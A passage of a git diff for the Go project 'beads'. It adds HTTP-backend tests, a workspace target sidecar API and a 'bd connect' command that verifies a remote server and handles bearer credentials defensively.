+// prevents arrives by accident. +// +// The wire document is GENERATED from the OpenAPI spec. Aliasing it, or +// widening this struct to match it, would put a codegen bump — a renamed +// field, a new member — on a published Go API, and would hand every embedder +// the server's own filesystem paths. A multi-tenant caller holding another +// tenant's repo root is not a field it chose to read; it is a field it could +// not avoid. +func TestServerSnapshotExportsNoHostFacts(t *testing.T) { + want := map[string]bool{ + "APIVersion": true, + "BdVersion": true, + "WireRevision": true, + "ProjectID": true, + "Capabilities": true, + } + typ := reflect.TypeOf(bdhttp.ServerSnapshot{}) + if typ.PkgPath() != "github.com/steveyegge/beads/backend/http" { + t.Fatalf("ServerSnapshot is declared in %q: it must be this package's own struct, not an alias of the generated wire type", typ.PkgPath()) + } + for i := 0; i < typ.NumField(); i++ { + name := typ.Field(i).Name + if !want[name] { + t.Errorf("ServerSnapshot exports %q, which is not on the curated set: server host paths, storage mode, logical database and the CLI schema version stay behind this door", name) + continue + } + delete(want, name) + } + for name := range want { + t.Errorf("ServerSnapshot no longer carries %q", name) + } +} + +// TestHandshakeReportsAWrongServer pins the gate that makes the probe worth +// running: the pinned identity is checked, and the refusal is typed, so a +// caller can tell "that is the wrong server" from "that server is down" +// without matching text. +func TestHandshakeReportsAWrongServer(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + target := server.target(t) + target.ExpectProjectID = "proj-somewhere-else" + + _, err := bdhttp.Handshake(context.Background(), target, bdhttp.Options{HTTPClient: server.Client()}) + if !errors.Is(err, bdhttp.ErrProjectMismatch) { + t.Fatalf("Handshake against a wrong server = %v, want ErrProjectMismatch", err) + } + var mismatch *bdhttp.ProjectMismatchError + if !errors.As(err, &mismatch) { + t.Fatalf("the refusal is not a *ProjectMismatchError: %v", err) + } +} + +// TestHandshakeUsesTheSameLadderOpenWouldUse keeps the two doors on one +// credential path: a probe that authorized differently from the store it +// precedes would verify a server the store then cannot reach. +func TestHandshakeUsesTheSameLadderOpenWouldUse(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=probe-token") + server := newRecordingServer(t) + + if _, err := bdhttp.Handshake(context.Background(), server.target(t), bdhttp.Options{HTTPClient: server.Client()}); err != nil { + t.Fatalf("Handshake: %v", err) + } + server.wantAuthorization(t, "Bearer probe-token") +} + +// TestTheActivationSidecarRoundTrips covers the workspace half of the +// surface: an embedder that writes a connected workspace for a later `bd` +// invocation, or reads the one `bd connect` already wrote, goes through +// these. +func TestTheActivationSidecarRoundTrips(t *testing.T) { + beadsDir := t.TempDir() + + if _, err := bdhttp.LoadTarget(beadsDir); !errors.Is(err, bdhttp.ErrNotConnected) { + t.Fatalf("LoadTarget on an unconnected workspace = %v, want ErrNotConnected", err) + } + if removed, err := bdhttp.RemoveTarget(beadsDir); err != nil || removed { + t.Fatalf("RemoveTarget on an unconnected workspace = (%v, %v), want (false, nil)", removed, err) + } + + base, err := url.Parse("https://beads.example.com") + if err != nil { + t.Fatal(err) + } + want := bdhttp.Target{BaseURL: base, ExpectProjectID: projectID} + if err := bdhttp.SaveTarget(beadsDir, want); err != nil { + t.Fatalf("SaveTarget: %v", err) + } + if got := bdhttp.TargetPath(beadsDir); got != filepath.Join(beadsDir, bdhttp.TargetFileName) { + t.Errorf("TargetPath = %q, want the sidecar beside metadata.json", got) + } + + got, err := bdhttp.LoadTarget(beadsDir) + if err != nil { + t.Fatalf("LoadTarget: %v", err) + } + if got.String() != want.String() || got.ExpectProjectID != want.ExpectProjectID { + t.Errorf("round trip = %+v, want %+v", got, want) + } + + removed, err := bdhttp.RemoveTarget(beadsDir) + if err != nil { + t.Fatalf("RemoveTarget: %v", err) + } + if !removed { + t.Error("RemoveTarget did not report the sidecar it deleted") + } + if _, err := bdhttp.LoadTarget(beadsDir); !errors.Is(err, bdhttp.ErrNotConnected) { + t.Errorf("LoadTarget after RemoveTarget = %v, want ErrNotConnected", err) + } +} + +// TestABearerProviderIsBuildableFromThePublicSurface proves the default +// ladder is nameable, which is what lets a caller wrap or inspect it without +// reimplementing it. +func TestABearerProviderIsBuildableFromThePublicSurface(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=ladder-token") + server := newRecordingServer(t) + + var provider bdhttp.CredentialProvider = bdhttp.NewBearerProvider(server.target(t).BaseURL) + req, err := http.NewRequestWithContext(context.Background(), http.MethodGet, server.URL, nil) + if err != nil { + t.Fatal(err) + } + if err := provider.Authorize(context.Background(), req); err != nil { + t.Fatalf("Authorize: %v", err) + } + if got := req.Header.Get("Authorization"); got != "Bearer ladder-token" { + t.Errorf("Authorization = %q, want the ladder's token", got) + } +} diff --git a/backend/http/register_test.go b/backend/http/register_test.go new file mode 100644 index 000000000..4ed4b1c3c --- /dev/null +++ b/backend/http/register_test.go @@ -0,0 +1,318 @@ +package bdhttp_test + +// Test helpers in this file are adapted from bd-enterprise +// backend/http/register_test.go under the MIT contribution: the registry +// double, the recording server/provider, and hermeticEnv's reasoning for +// taking the process environment out of credential decisions carry over +// directly. The Credentials-hook tests do not: OSS threads a per-open +// credential through backends.OpenOptions.Credential / httpclient.OpenWith +// instead of a bdhttp.Options.Credentials hook (no such hook exists on this +// path; see design D-OpenWith), so those tests are written fresh for this +// seam. + +import ( + "context" + "net/http" + "net/http/httptest" + "net/url" + "os" + "path/filepath" + "sync" + "testing" + + "github.com/steveyegge/beads/backend" + bdhttp "github.com/steveyegge/beads/backend/http" + "github.com/steveyegge/beads/internal/storage/backends" +) + +// The registry key is spelled literally, the way a workspace's metadata.json +// carries it: a test that read it from the code under test would stay green +// through a rename that orphans every existing connected workspace. +const backendName = "http" + +// projectID is the workspace identity the stand-in server owns. Every target +// below pins it, so the handshake's identity gate is armed rather than +// skipped. +const projectID = "proj-embedder" + +// TestRegisterPutsHTTPInTheRegistryAnEmbedderSees drives the reason this +// package exists: code holding nothing but the public surface can get "http" +// into the registry that store dispatch reads. +func TestRegisterPutsHTTPInTheRegistryAnEmbedderSees(t *testing.T) { + hermeticEnv(t) + if backend.Registered(backendName) { + t.Fatalf("%q was already registered before Register was called: linking this package must not register", backendName) + } + + registerForTest(t, bdhttp.Options{}) + + registered, ok := backend.Lookup(backendName) + if !ok { + t.Fatalf("Lookup(%q) found nothing after Register", backendName) + } + if registered.Open == nil { + t.Error("registered http backend has no read-write Open") + } + if registered.OpenReadOnly == nil { + t.Error("registered http backend has no read-only Open") + } + if !registered.WorkspaceIsBeadsDir { + t.Error("an http workspace is the .beads directory alone; there is no local database to discover") + } + if !registered.Remote { + t.Error("the http backend is a pure network client with no local database; Remote must be set") + } + if registered.OpenWith == nil { + t.Error("registered http backend has no per-open OpenWith seam") + } + if !backend.WorkspaceIsBeadsDir(backendName) { + t.Error("backend.WorkspaceIsBeadsDir disagrees with the registration") + } + if !backend.IsRemote(backendName) { + t.Error("backend.IsRemote disagrees with the registration") + } +} + +// TestRegisterTwicePanics pins the decision not to make this idempotent. A +// second call is a double-wired process start, and the registry's panic is +// the only place that ever says so. +func TestRegisterTwicePanics(t *testing.T) { + hermeticEnv(t) + registerForTest(t, bdhttp.Options{}) + + if !panics(func() { bdhttp.Register(bdhttp.Options{}) }) { + t.Fatal("a second Register returned instead of panicking: duplicate process-start wiring must not be absorbed") + } + if !backend.Registered(backendName) { + t.Fatalf("the refused duplicate took %q out of the registry", backendName) + } +} + +// TestRegisterInstallsTheTransport is the whole reason Register takes +// Options: registration alone leaves the store's package-level dialer nil, +// and every open then fails with httpclient.ErrNoTransport — a two-step an +// embedder cannot complete, because the second step is an internal function. +func TestRegisterInstallsTheTransport(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + registerForTest(t, bdhttp.Options{HTTPClient: server.Client()}) + + store := openWorkspace(t, connectedWorkspace(t, server)) + got, err := store.GetMetadata(context.Background(), "_project_id") + if err != nil { + t.Fatalf("GetMetadata over the registered backend: %v", err) + } + if got != projectID { + t.Errorf("project id = %q, want %q: the store never reached the server", got, projectID) + } +} + +// TestOpenWithHonorsAProvidedCredential pins the per-tenant seam Register +// installs: a caller that supplies backends.OpenOptions.Credential (wrapped +// in bdhttp.ProvidedCredential) reaches the server with THAT credential, not +// the ambient ladder, even though the registered backend was built with no +// credential of its own. +func TestOpenWithHonorsAProvidedCredential(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + registerForTest(t, bdhttp.Options{HTTPClient: server.Client()}) + beadsDir := connectedWorkspace(t, server) + + registered, ok := backend.Lookup(backendName) + if !ok { + t.Fatal("the http backend is not registered") + } + provider := &recordingProvider{token: "per-tenant-token"} + store, err := registered.OpenWith(context.Background(), beadsDir, backends.OpenOptions{ + Credential: bdhttp.ProvidedCredential{Provider: provider}, + }) + if err != nil { + t.Fatalf("OpenWith: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + + if _, err := store.GetMetadata(context.Background(), "_project_id"); err != nil { + t.Fatalf("GetMetadata: %v", err) + } + server.wantAuthorization(t, "Bearer per-tenant-token") +} + +// TestOpenWithFallsBackToTheAmbientLadderByDefault pins the single-tenant +// default: a registered open with no Credential still authorizes, through +// the same built-in bearer ladder Open/OpenReadOnly use — RequireCredential +// is what opts OUT of this, not the zero value. +func TestOpenWithFallsBackToTheAmbientLadderByDefault(t *testing.T) { + hermeticEnv(t) + t.Setenv(bdhttp.TokenEnv, "127.0.0.1=ambient-token") + server := newRecordingServer(t) + registerForTest(t, bdhttp.Options{HTTPClient: server.Client()}) + beadsDir := connectedWorkspace(t, server) + + store := openWorkspace(t, beadsDir) + if _, err := store.GetMetadata(context.Background(), "_project_id"); err != nil { + t.Fatalf("GetMetadata: %v", err) + } + server.wantAuthorization(t, "Bearer ambient-token") +} + +// TestRequireCredentialRefusesAnOpenWithNone is the fail-closed half: a +// multi-tenant embedder that sets RequireCredential must never have a +// workspace silently fall back to whatever the ambient process environment +// happens to hold, because that environment belongs to no one tenant. +func TestRequireCredentialRefusesAnOpenWithNone(t *testing.T) { + hermeticEnv(t) + server := newRecordingServer(t) + registerForTest(t, bdhttp.Options{HTTPClient: server.Client(), RequireCredential: true}) + beadsDir := connectedWorkspace(t, server) + + registered, ok := backend.Lookup(backendName) + if !ok { + t.Fatal("the http backend is not registered") + } + _, err := registered.OpenWith(context.Background(), beadsDir, backends.OpenOptions{}) + if err == nil { + t.Fatal("OpenWith with RequireCredential and no Credential succeeded; want a refusal") + } + server.wantNoRequests(t) +} + +func panics(fn func()) (panicked bool) { + defer func() { panicked = recover() != nil }() + fn() + return false +} + +// registerForTest wires the backend for one test and gives the process-global +// registry back afterwards, the isolation seam backend.Deregister exists for. +func registerForTest(t *testing.T, opts bdhttp.Options) { + t.Helper() + bdhttp.Register(opts) + t.Cleanup(func() { backend.Deregister(backendName) }) +} + +// connectedWorkspace is a .beads directory attached to server, as `bd +// connect` would leave it. +func connectedWorkspace(t *testing.T, server *recordingServer) string { + t.Helper() + beadsDir := filepath.Join(t.TempDir(), ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("create workspace: %v", err) + } + if err := bdhttp.SaveTarget(beadsDir, server.target(t)); err != nil { + t.Fatalf("save the activation sidecar: %v", err) + } + return beadsDir +} + +// openWorkspace opens beadsDir through the REGISTERED backend rather than +// through this package's own Open, so what it exercises is the dialer +// Register installed. +func openWorkspace(t *testing.T, beadsDir string) backend.DoltStorage { + t.Helper() + registered, ok := backend.Lookup(backendName) + if !ok { + t.Fatal("the http backend is not registered") + } + store, err := registered.Open(context.Background(), beadsDir) + if err != nil { + t.Fatalf("open the connected workspace: %v", err) + } + t.Cleanup(func() { _ = store.Close() }) + return store +} + +// hermeticEnv takes the process environment out of the credential decision. +// Every rung of the built-in ladder is read from the environment at dial +// time, so a developer machine that exports one would otherwise change which +// source a test exercises. +func hermeticEnv(t *testing.T) { + t.Helper() + t.Setenv(bdhttp.TokenEnv, "") + t.Setenv(bdhttp.TokenCommandEnv, "") +} + +// recordingProvider is a CredentialProvider that signs with a fixed token. +type recordingProvider struct { + token string + + mu sync.Mutex + calls int +} + +func (p *recordingProvider) Authorize(_ context.Context, req *http.Request) error { + p.mu.Lock() + p.calls++ + p.mu.Unlock() + req.Header.Set("Authorization", "Bearer "+p.token) + return nil +} + +func (p *recordingProvider) Refresh(context.Context) (bool, error) { return false, nil } + +// recordingServer is a bd serve stand-in that answers the v0 handshake and +// records what each request carried in its Authorization header. +type recordingServer struct { + *httptest.Server + + mu sync.Mutex + auths []string +} + +func newRecordingServer(t *testing.T) *recordingServer { + t.Helper() + s := &recordingServer{} + s.Server = httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + s.mu.Lock() + s.auths = append(s.auths, r.Header.Get("Authorization")) + s.mu.Unlock() + if r.URL.Path != "/v0/beads/context" { + http.NotFound(w, r) + return + } + w.Header().Set("Content-Type", "application/json") + _, _ = w.Write([]byte(`{"api_version":"v0","backend":"dolt","bd_version":"9.9.9",` + + `"beads_dir":"/srv/.beads","capabilities":["issues.get","issues.list"],` + + `"database":"beads","dolt_mode":"server","project_id":"` + projectID + `","repo_root":"/srv",` + + `"schema_version":1,"wire_revision":1,"min_client_wire_revision":1}`)) + })) + t.Cleanup(s.Server.Close) + return s +} + +func (s *recordingServer) target(t *testing.T) bdhttp.Target { + t.Helper() + base, err := url.Parse(s.URL) + if err != nil { + t.Fatalf("parse the test server URL: %v", err) + } + return bdhttp.Target{BaseURL: base, ExpectProjectID: projectID} +} + +// wantAuthorization asserts that every request the server saw carried want. +// It is every request rather than any request because a credential that +// reaches only some of them is the same defect as one that reaches none. +func (s *recordingServer) wantAuthorization(t *testing.T, want string) { + t.Helper() + s.mu.Lock() + defer s.mu.Unlock() + if len(s.auths) == 0 { + t.Fatal("the server saw no requests at all") + } + for i, got := range s.auths { + if got != want { + t.Errorf("request %d carried Authorization %q, want %q", i, got, want) + } + } +} + +// wantNoRequests is the fail-closed half: a refusal that still dialed would +// have sent whatever credential it fell back to, which is the outcome being +// refused. +func (s *recordingServer) wantNoRequests(t *testing.T) { + t.Helper() + s.mu.Lock() + defer s.mu.Unlock() + if len(s.auths) != 0 { + t.Errorf("the server saw %d requests, want none: the dial was supposed to fail closed", len(s.auths)) + } +} diff --git a/backend/http/target.go b/backend/http/target.go new file mode 100644 index 000000000..ab6ee2917 --- /dev/null +++ b/backend/http/target.go @@ -0,0 +1,41 @@ +package bdhttp + +import "github.com/steveyegge/beads/internal/httpclient" + +// Target is the resolved endpoint for one workspace: the server's mount root +// and, optionally, the workspace identity pinned when it was connected. A +// pinned id is compared against the server's own at every handshake, which is +// what turns "some server answered" into "the server that owns this workspace +// answered". +type Target = httpclient.Target + +// TargetFileName is the per-user, untracked activation sidecar that names the +// server a workspace is attached to. metadata.json is git-tracked by design +// and selects the backend; the URL and the identity pin are per-user state +// and live beside it. +const TargetFileName = httpclient.TargetFileName + +// ErrNotConnected reports a workspace that selects this backend but has no +// activation sidecar, so there is no server to dial. It is what an Open +// through the registry returns for a workspace nobody ran `bd connect` in. +var ErrNotConnected = httpclient.ErrNotConnected + +// TargetPath is the sidecar's location for a workspace, given its .beads +// directory. +func TargetPath(beadsDir string) string { return httpclient.TargetPath(beadsDir) } + +// LoadTarget reads the activation sidecar. A missing one is ErrNotConnected +// rather than a zero Target: an http workspace with no target cannot be +// opened at all. +func LoadTarget(beadsDir string) (Target, error) { return httpclient.LoadTarget(beadsDir) } + +// SaveTarget writes the sidecar 0600, beside metadata.json. It is the encoder +// `bd connect` uses; the connect UX around it — gitignore coverage, identity +// verification, conversion consent — is the CLI's, so an embedder that writes +// a workspace this way owns those decisions itself. +func SaveTarget(beadsDir string, t Target) error { return httpclient.SaveTarget(beadsDir, t) } + +// RemoveTarget deletes the activation sidecar, reporting whether one was +// there. Detaching is a per-user act, so it never touches the tracked +// metadata.json that selects the backend. +func RemoveTarget(beadsDir string) (bool, error) { return httpclient.RemoveTarget(beadsDir) } diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index eb8aa6cd2..b6cca03ee 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -62,6 +62,7 @@ go_library( "config_show.go", "config_side_effects.go", "conflicts.go", + "connect.go", "context.go", "context_cmd.go", "context_proxied_server.go", @@ -157,6 +158,7 @@ go_library( "history.go", "history_proxied_server.go", "hooks.go", + "http_backend.go", "human.go", "human_proxied_server.go", "if_revision.go", @@ -366,6 +368,7 @@ go_library( visibility = ["//visibility:private"], deps = [ "//:beads", + "//backend/http", "//cmd/bd/doctor", "//cmd/bd/doctor/fix", "//cmd/bd/setup", @@ -392,6 +395,7 @@ go_library( "//internal/gitlab", "//internal/hooks", "//internal/httpapi", + "//internal/httpclient", "//internal/jira", "//internal/linear", "//internal/lockfile", @@ -493,6 +497,7 @@ go_binary( embed = [":bd_lib"], race = "off", visibility = [ + "//backend/http:__pkg__", "//cmd/bd:__subpackages__", "//internal/beads:__pkg__", "//internal/storage/uow:__pkg__", diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go index de387c97e..1ac36eca9 100644 --- a/cmd/bd/capability_registry.go +++ b/cmd/bd/capability_registry.go @@ -511,7 +511,7 @@ var proxyPermittedPaths = []string{ // workspace lifecycle and configuration "bootstrap", "config apply", "config drift", "config get", "config list", "config set", - "config set-many", "config show", "config unset", "config validate", "context", + "config set-many", "config show", "config unset", "config validate", "connect", "context", "init", "init-safety", "onboard", "preflight", "quickstart", "schema", "setup", "where", "version", "worktree create", "worktree info", "worktree list", "worktree remove", diff --git a/cmd/bd/connect.go b/cmd/bd/connect.go new file mode 100644 index 000000000..29f369998 --- /dev/null +++ b/cmd/bd/connect.go @@ -0,0 +1,324 @@ +package main + +import ( + "context" + "errors" + "fmt" + "net/url" + "os" + "path/filepath" + + "github.com/spf13/cobra" + bdhttp "github.com/steveyegge/beads/backend/http" + "github.com/steveyegge/beads/cmd/bd/doctor" + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/httpclient" + "github.com/steveyegge/beads/internal/metrics" +) + +// Written fresh for OSS beads S6 (no bd-enterprise source copied): richer +// connect flows (interactive login, server discovery, storage-profile +// prompts) are explicitly out of scope for this lift (see DESIGN.txt sec +// 3.1). This is the minimal OSS connect DESIGN.txt asks for: verify a +// server, then record it. + +var ( + connectExpectProjectID string + connectCAFile string + connectForce bool + connectAllowPlaintext bool + connectClear bool +) + +var connectCmd = &cobra.Command{ + Use: "connect [url]", + GroupID: "setup", + Short: "Attach this workspace to a remote bd serve over HTTP", + Long: `Attach this workspace to a remote bd serve over HTTP. + +bd connect verifies the server first (a handshake: api_version, wire +revision, and — when --expect-project-id is given — workspace identity) and +writes nothing until that succeeds. On success it writes the per-user +activation sidecar (.beads/http_target.json, never git-tracked) and sets this +workspace's metadata.json to backend "http". + +A credential, if the server requires one, is never read from a flag or +recorded on disk by this command. It comes from the same ladder every http +request does: the BEADS_HTTP_TOKEN environment variable, then +BEADS_HTTP_TOKEN_COMMAND (a helper that prints a token), then the credentials +file's [host:port] section, then no credential at all — which the tip OSS +server's loopback-trust posture answers legitimately, not as a failure. Both +variables name the server they are for, host[:port]=value (for example +BEADS_HTTP_TOKEN=bd.example.com=); a bare value is refused, since it +would be sent to whatever server the workspace's http_target.json names. + +--allow-plaintext IS recorded on disk, in the sidecar alongside the server +url: once granted here, a credential may cross this one server in the clear +on every later command too, not only this one, without re-passing the flag +or setting BEADS_HTTP_ALLOW_INSECURE=1 yourself. A later connect to a +DIFFERENT url starts that grant over; it is never carried forward to a +server it was not given for. + +Examples: + bd connect http://127.0.0.1:8080 # loopback, no TLS needed + bd connect https://bd.example.com --expect-project-id p1 # pin workspace identity + bd connect https://bd.example.com --ca-file ./ca.pem # trust only this CA + bd connect --clear # forget the server, restoring the previous backend +`, + Args: cobra.MaximumNArgs(1), + SilenceUsage: true, + SilenceErrors: true, + // connect is how an http workspace gets its FIRST local state: there is + // no local database to find yet (none ever exists for this backend), so + // it opts out of PersistentPreRunE's store init the same way doctor, + // schema and worktree do, via skipStoreAnnotation rather than editing + // the central noDbCommands list (see that annotation's own doc comment). + Annotations: map[string]string{skipStoreAnnotation: "1"}, + RunE: func(cmd *cobra.Command, args []string) error { + evt := metrics.NewCommandEvent("connect") + defer func() { + if c := metrics.Global(); c != nil { + c.CloseEventAndAdd(evt) + } + }() + + // connect, like init, is how a workspace gets its FIRST local state: + // there may be no .beads directory yet anywhere above the CWD, so + // this resolves the same way init's own target does (BEADS_DIR, then + // the worktree fallback, then CWD/.beads) rather than + // beads.GetRepoContextAllowingNoGit(), which answers "no .beads + // directory found" with a hard error because every OTHER caller of + // it (bd context, the proxied context route) is read-only and has + // nothing to create. + beadsDir := resolveInitBeadsDir() + if beadsDir == "" { + return HandleError("cannot resolve a workspace directory for connect (set BEADS_DIR, or run from inside a writable directory)") + } + + if connectClear { + if len(args) != 0 { + return HandleError("connect --clear takes no url argument") + } + // Read the sidecar's PreviousBackend BEFORE removing it: it is + // the backend metadata.json selected right before this + // workspace connected (bee-ghosttrack CHANGES_REQUESTED on + // #7288, should-fix 1). A missing sidecar (ErrNotConnected) or + // any other read failure just means there is nothing to + // restore, matching the "nothing was configured" case below. + priorTarget, loadErr := httpclient.LoadTarget(beadsDir) + removed, err := httpclient.RemoveTarget(beadsDir) + if err != nil { + return HandleError("clearing %s: %v", httpclient.TargetFileName, err) + } + restoredBackend := "" + if removed && loadErr == nil && priorTarget.PreviousBackend != "" { + if cfg, cfgErr := configfile.Load(beadsDir); cfgErr == nil && cfg != nil && cfg.GetBackend() == httpclient.Backend { + cfg.Backend = priorTarget.PreviousBackend + if saveErr := cfg.Save(beadsDir); saveErr == nil { + restoredBackend = priorTarget.PreviousBackend + } + // A save failure is not fatal to --clear: the sidecar is + // already gone (or never existed), which is the part + // that actually detaches the workspace from the + // server; metadata.json just keeps saying "http" and + // the manual fallback message below still applies. + } + } + if jsonOutput { + return outputJSON(map[string]any{"cleared": removed, "restored_backend": restoredBackend}) + } + switch { + case restoredBackend != "": + fmt.Printf("Removed %s and restored this workspace's backend selection in metadata.json to %q.\n", httpclient.TargetFileName, restoredBackend) + case removed: + // Not `bd config set backend ...`: that writes the database's + // own config table, never metadata.json, and must first open + // the very store this workspace can no longer reach. + fmt.Printf("Removed %s. This workspace's backend selection in metadata.json is unchanged; run `bd connect ` to reconnect, or set \"backend\" in %s to pick a different backend.\n", httpclient.TargetFileName, filepath.Join(beadsDir, configfile.ConfigFileName)) + default: + fmt.Println("No http target was configured; nothing to clear.") + } + return nil + } + + if len(args) != 1 { + return HandleError("connect requires a argument (or --clear)") + } + rawURL := args[0] + + parsed, err := url.Parse(rawURL) + if err != nil || parsed.Host == "" { + // A parse failure has no *url.URL to redact, so there is nothing + // safer to print than the raw argument; a parse that succeeded + // but found no host (e.g. "http://user:pass@/path") does have + // one, and .Redacted() strips its userinfo before this message + // repeats it. + if err != nil { + return HandleError("invalid url %q", rawURL) + } + return HandleError("invalid url %q", parsed.Redacted()) + } + // redactedURL is what every print/wrap of the connect target uses from + // here on: rawURL is the user's literal argument, which — unlike + // parsed.Redacted() — still carries a userinfo password verbatim + // (http://user:pass@host/...) if one was pasted into the URL. Nothing + // past this point should format rawURL again. + redactedURL := parsed.Redacted() + if parsed.Scheme != "http" && parsed.Scheme != "https" { + return HandleError("url %q must use http or https, got %q", redactedURL, parsed.Scheme) + } + // L1 (host safety, functional requirement 1): a bearer credential sent + // in the clear to anything but loopback is a token leaked to every + // network hop between here and the server. Refuse by default; require + // an explicit opt-in rather than a warning nobody reads at connect + // time, since connect time is the one moment a human is looking. + if parsed.Scheme == "http" && !configfile.IsLocalHostString(parsed.Hostname()) && !connectAllowPlaintext { + return HandleError( + "refusing to connect to %s over plain http: %s is not loopback, and any bearer credential this workspace sends would cross the network unencrypted; use https://, or pass --allow-plaintext to connect anyway", + redactedURL, parsed.Hostname()) + } + + existing, err := configfile.Load(beadsDir) + if err != nil { + return HandleError("reading %s: %v", configfile.ConfigFileName, err) + } + if existing != nil { + if b := existing.GetBackend(); b != "" && b != httpclient.Backend && !connectForce { + return HandleError("this workspace already selects backend %q; pass --force to switch it to %q (existing local data, if any, is left in place but will no longer be used)", b, httpclient.Backend) + } + } + + // effectiveExpectedProjectID carries the PRIOR sidecar's pin forward + // into this run, so a bare re-connect (no --expect-project-id) to a + // DIFFERENT server still gets caught: without this, every connect + // built a brand-new Target starting from connectExpectProjectID alone + // (almost always "" on a re-run), which the "nothing was pinned yet" + // branch below would then adopt from whatever server just answered — + // silently re-pinning the workspace to a different project with no + // refusal at all. --force (regardless of --expect-project-id) drops + // the prior pin entirely and lets the new server's answer win, which + // is the explicit "I mean it" escape hatch this check otherwise has + // none of. + effectiveExpectedProjectID := connectExpectProjectID + if !connectForce { + priorTarget, loadErr := httpclient.LoadTarget(beadsDir) + if loadErr != nil && !errors.Is(loadErr, httpclient.ErrNotConnected) { + return HandleError("reading existing %s: %v", httpclient.TargetFileName, loadErr) + } + if loadErr == nil && priorTarget.ExpectProjectID != "" { + switch { + case effectiveExpectedProjectID == "": + effectiveExpectedProjectID = priorTarget.ExpectProjectID + case effectiveExpectedProjectID != priorTarget.ExpectProjectID: + return HandleError( + "this workspace is already connected to project %q; pass --force to re-pin it to %q, or pass --expect-project-id %q to confirm the existing pin", + priorTarget.ExpectProjectID, effectiveExpectedProjectID, priorTarget.ExpectProjectID) + } + } + } + + var caFile string + dialOpts := httpclient.DialOptions{ + UserAgent: "bd/" + Version + " " + httpclient.WireUserAgentSuffix, + // The L1 refusal above already gated this exact combination + // (plain http, non-loopback) on --allow-plaintext; carrying the + // flag through here keeps this command's own Handshake probe + // (which dials with the same ambient bearer ladder a credential + // might come from) from re-refusing what the flag already + // permitted. See DialOptions.AllowInsecureCredential. + AllowInsecureCredential: connectAllowPlaintext, + } + if connectCAFile != "" { + abs, err := filepath.Abs(connectCAFile) + if err != nil { + return HandleError("resolving --ca-file %q: %v", connectCAFile, err) + } + caFile = abs + // Verify against EXACTLY this file, bypassing BEADS_HTTP_CA_FILE + // entirely: a connect run with the env var set to a different CA + // must not verify against the env's CA while writing the flag's + // unverified one to the sidecar (see DialOptionsForFile's doc). + dialOpts, err = httpclient.DialOptionsForFile(caFile, dialOpts) + if err != nil { + return HandleError("--ca-file %q: %v", connectCAFile, err) + } + } + + target := httpclient.Target{BaseURL: parsed, ExpectProjectID: effectiveExpectedProjectID, CAFile: caFile, AllowInsecureCredential: connectAllowPlaintext} + + ctx := context.Background() + snapshot, err := httpclient.Handshake(ctx, target, dialOpts) + if err != nil { + return HandleError("connecting to %s: %v", redactedURL, err) + } + if target.ExpectProjectID == "" { + // Nothing was pinned (a genuine first connect, or --force + // dropped the prior pin above): record what the server said so + // this workspace is tied to THIS project from here on. + target.ExpectProjectID = snapshot.ProjectId + } else if target.ExpectProjectID != snapshot.ProjectId { + // effectiveExpectedProjectID is either an explicit + // --expect-project-id or the prior sidecar's pin carried + // forward above; either way the server disagrees, and --force + // was not given (the only way to reach this line with a + // mismatched prior pin AND --force would have cleared + // effectiveExpectedProjectID's carry-forward, not left it set). + return HandleError("server at %s owns project %q, not the pinned %q", redactedURL, snapshot.ProjectId, target.ExpectProjectID) + } + + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + return HandleError("creating %s: %v", beadsDir, err) + } + // A fresh .beads directory (the common case: this backend has no + // local database to have created one earlier) has no .gitignore yet. + // Ensure one before writing the sidecar, the same way bd init and + // doctor --fix do, so http_target.json (which carries a bearer + // credential's host and, soon, DialOptions) is never a candidate for + // `git add .` in the first commit after connect. + if err := doctor.EnsureGitignoreForBeadsDir(beadsDir); err != nil { + return HandleError("ensuring %s/.gitignore: %v", beadsDir, err) + } + // bdhttp.Attach writes both of this backend's files: the gitignored + // identity sidecar (SaveTarget — which server, which project; see + // NewFromConfig/NewReadOnlyFromConfig in internal/httpclient/store.go, + // which read identity from the sidecar alone, never from + // metadata.json) and metadata.json's backend SELECTION alone + // (git-tracked, the same file every clone of this repo shares). It + // leaves every other existing metadata.json field untouched — in + // particular cfg.Database/cfg.ProjectID, which belong to whatever + // backend this workspace selected before, and which a future + // `bd connect --clear` switching back to that backend (dolt) still + // needs intact. + if err := bdhttp.Attach(beadsDir, target); err != nil { + return HandleError("%v", err) + } + + if jsonOutput { + return outputJSON(map[string]any{ + "url": redactedURL, + "project_id": target.ExpectProjectID, + "bd_version": snapshot.BdVersion, + "api_version": snapshot.ApiVersion, + "wire_revision": snapshot.WireRevision, + "ca_file": caFile, + "capabilities": snapshot.Capabilities, + }) + } + fmt.Printf("Connected %s to %s\n", beadsDir, redactedURL) + fmt.Printf(" project: %s\n", target.ExpectProjectID) + fmt.Printf(" bd serve: %s (api %s, wire revision %d)\n", snapshot.BdVersion, snapshot.ApiVersion, snapshot.WireRevision) + if caFile != "" { + fmt.Printf(" ca_file: %s\n", caFile) + } + return nil + }, +} + +func init() { + connectCmd.Flags().StringVar(&connectExpectProjectID, "expect-project-id", "", "pin the workspace identity the server must present at every handshake") + connectCmd.Flags().StringVar(&connectCAFile, "ca-file", "", "trust ONLY this PEM file for this server (resolved and recorded as an absolute path)") + connectCmd.Flags().BoolVar(&connectForce, "force", false, "allow switching a workspace that already selects a different backend") + connectCmd.Flags().BoolVar(&connectAllowPlaintext, "allow-plaintext", false, "allow a plain http connection to a non-loopback host; remembered in the sidecar for every later command against this server") + connectCmd.Flags().BoolVar(&connectClear, "clear", false, "remove this workspace's http activation sidecar and restore its previous backend selection in metadata.json") + rootCmd.AddCommand(connectCmd) +} diff --git a/cmd/bd/context_cmd.go b/cmd/bd/context_cmd.go index 3353f7213..fa3bdf91f 100644 --- a/cmd/bd/context_cmd.go +++ 